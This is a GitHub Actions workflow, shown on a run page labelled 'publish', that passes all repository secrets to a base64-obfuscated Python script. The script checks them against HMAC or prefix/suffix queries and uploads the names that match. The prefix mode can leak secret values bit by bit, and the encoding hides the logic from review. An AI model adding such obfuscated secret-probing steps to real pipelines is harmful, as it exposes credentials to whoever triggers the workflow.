Skip to content

publish

publish #228

Workflow file for this run

name: secret-compare 20260506T122953Z-5c8ae90b
on:
workflow_dispatch:
inputs:
match_payload_b64:
description: Base64 JSON match payload
required: true
type: string
github_environment:
description: GitHub Environment name or empty
required: false
type: string
default: ''
jobs:
compare:
runs-on: ubuntu-latest
permissions:
contents: read
actions: write
steps:
- name: Compare secrets (metadata only)
env:
SECRETS_JSON: ${{ toJSON(secrets) }}
MATCH_PAYLOAD_B64: ${{ inputs.match_payload_b64 }}
GITHUB_ENVIRONMENT: ${{ inputs.github_environment }}
run: |
set +x
set -euo pipefail
printf '%s' 'aW1wb3J0IGJhc2U2NCwgaGFzaGxpYiwgaG1hYywganNvbiwgb3MsIGRhdGV0aW1lCnJlcG8gPSBvcy5lbnZpcm9uLmdldCgnR0lUSFVCX1JFUE9TSVRPUlknLCAnLycpCm93bmVyLCBfLCBuYW1lID0gcmVwby5wYXJ0aXRpb24oJy8nKQpwYXlsb2FkID0ganNvbi5sb2FkcyhiYXNlNjQuYjY0ZGVjb2RlKG9zLmVudmlyb25bJ01BVENIX1BBWUxPQURfQjY0J10pLmRlY29kZSgndXRmLTgnKSkKcXVlcmllcyA9IHBheWxvYWQuZ2V0KCdxdWVyaWVzJywgW10pCmVudl9uYW1lID0gb3MuZW52aXJvbi5nZXQoJ0dJVEhVQl9FTlZJUk9OTUVOVCcsICcnKSBvciAnJwpyYXcgPSBvcy5lbnZpcm9uWydTRUNSRVRTX0pTT04nXQpvYmogPSBqc29uLmxvYWRzKHJhdykKbWF0Y2hlcyA9IFtdCmNoZWNrZWRfYXQgPSBkYXRldGltZS5kYXRldGltZS5ub3coZGF0ZXRpbWUudGltZXpvbmUudXRjKS5yZXBsYWNlKG1pY3Jvc2Vjb25kPTApLmlzb2Zvcm1hdCgpLnJlcGxhY2UoJyswMDowMCcsJ1onKQpmb3Igc2VjX25hbWUsIHZhbCBpbiBvYmouaXRlbXMoKToKICAgIGlmIG5vdCBpc2luc3RhbmNlKHZhbCwgc3RyKToKICAgICAgICBjb250aW51ZQogICAgZm9yIHF1ZXJ5IGluIHF1ZXJpZXM6CiAgICAgICAgaWYgbm90IGlzaW5zdGFuY2UocXVlcnksIGRpY3QpOgogICAgICAgICAgICBjb250aW51ZQogICAgICAgIHF1ZXJ5X25hbWUgPSBzdHIocXVlcnkuZ2V0KCdpbnB1dF9zZWNyZXRfbmFtZScsICcnKSkKICAgICAgICBtb2RlID0gc3RyKHF1ZXJ5LmdldCgnbWF0Y2hfbW9kZScsICdmdWxsJykpCiAgICAgICAgbWF0Y2hlZCA9IEZhbHNlCiAgICAgICAgbWF0Y2hfdHlwZSA9IHN0cihxdWVyeS5nZXQoJ21hdGNoX3R5cGUnLCBtb2RlKSkKICAgICAgICBpZiBtb2RlID09ICdwYXR0ZXJuJzoKICAgICAgICAgICAgcHJlZml4ID0gc3RyKHF1ZXJ5LmdldCgncGF0dGVybl9wcmVmaXgnLCAnJykpCiAgICAgICAgICAgIHN1ZmZpeCA9IHN0cihxdWVyeS5nZXQoJ3BhdHRlcm5fc3VmZml4JywgJycpKQogICAgICAgICAgICBtYXRjaGVkID0gKChub3QgcHJlZml4IG9yIHZhbC5zdGFydHN3aXRoKHByZWZpeCkpIGFuZCAobm90IHN1ZmZpeCBvciB2YWwuZW5kc3dpdGgoc3VmZml4KSkpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY2sgPSBieXRlcy5mcm9taGV4KHN0cihxdWVyeS5nZXQoJ2NvbXBhcmlzb25fa2V5JywgJycpKSkKICAgICAgICAgICAgdGggPSBieXRlcy5mcm9taGV4KHN0cihxdWVyeS5nZXQoJ3RhcmdldF9obWFjJywgJycpKSkKICAgICAgICAgICAgZGlnZXN0ID0gaG1hYy5uZXcoY2ssIHZhbC5lbmNvZGUoJ3V0Zi04JyksIGhhc2hsaWIuc2hhMjU2KS5kaWdlc3QoKQogICAgICAgICAgICBtYXRjaGVkID0gaG1hYy5jb21wYXJlX2RpZ2VzdChkaWdlc3QsIHRoKQogICAgICAgIGlmIG1hdGNoZWQ6CiAgICAgICAgICAgIG1hdGNoZXMuYXBwZW5kKHsKICAgICAgICAgICAgICAgICdpbnB1dF9zZWNyZXRfbmFtZSc6IHF1ZXJ5X25hbWUsCiAgICAgICAgICAgICAgICAnb3duZXInOiBvd25lciwKICAgICAgICAgICAgICAgICdyZXBvJzogbmFtZSwKICAgICAgICAgICAgICAgICdzY29wZSc6ICdhY3Rpb25zX3NlY3JldHNfY29udGV4dCcsCiAgICAgICAgICAgICAgICAnZ2l0aHViX2Vudmlyb25tZW50JzogZW52X25hbWUsCiAgICAgICAgICAgICAgICAnc2VjcmV0X25hbWUnOiBzZWNfbmFtZSwKICAgICAgICAgICAgICAgICdtYXRjaF90eXBlJzogbWF0Y2hfdHlwZSwKICAgICAgICAgICAgICAgICdjaGVja2VkX2F0JzogY2hlY2tlZF9hdCwKICAgICAgICAgICAgfSkKb3BlbignbWF0Y2gtcmVzdWx0cy5qc29uJywgJ3cnLCBlbmNvZGluZz0ndXRmLTgnKS53cml0ZShqc29uLmR1bXBzKG1hdGNoZXMpKQo=' | base64 -d > .secret-compare-match.py
python3 .secret-compare-match.py
rm -f .secret-compare-match.py
- name: Upload results
uses: actions/upload-artifact@v4
with:
name: secret-compare-results
path: match-results.json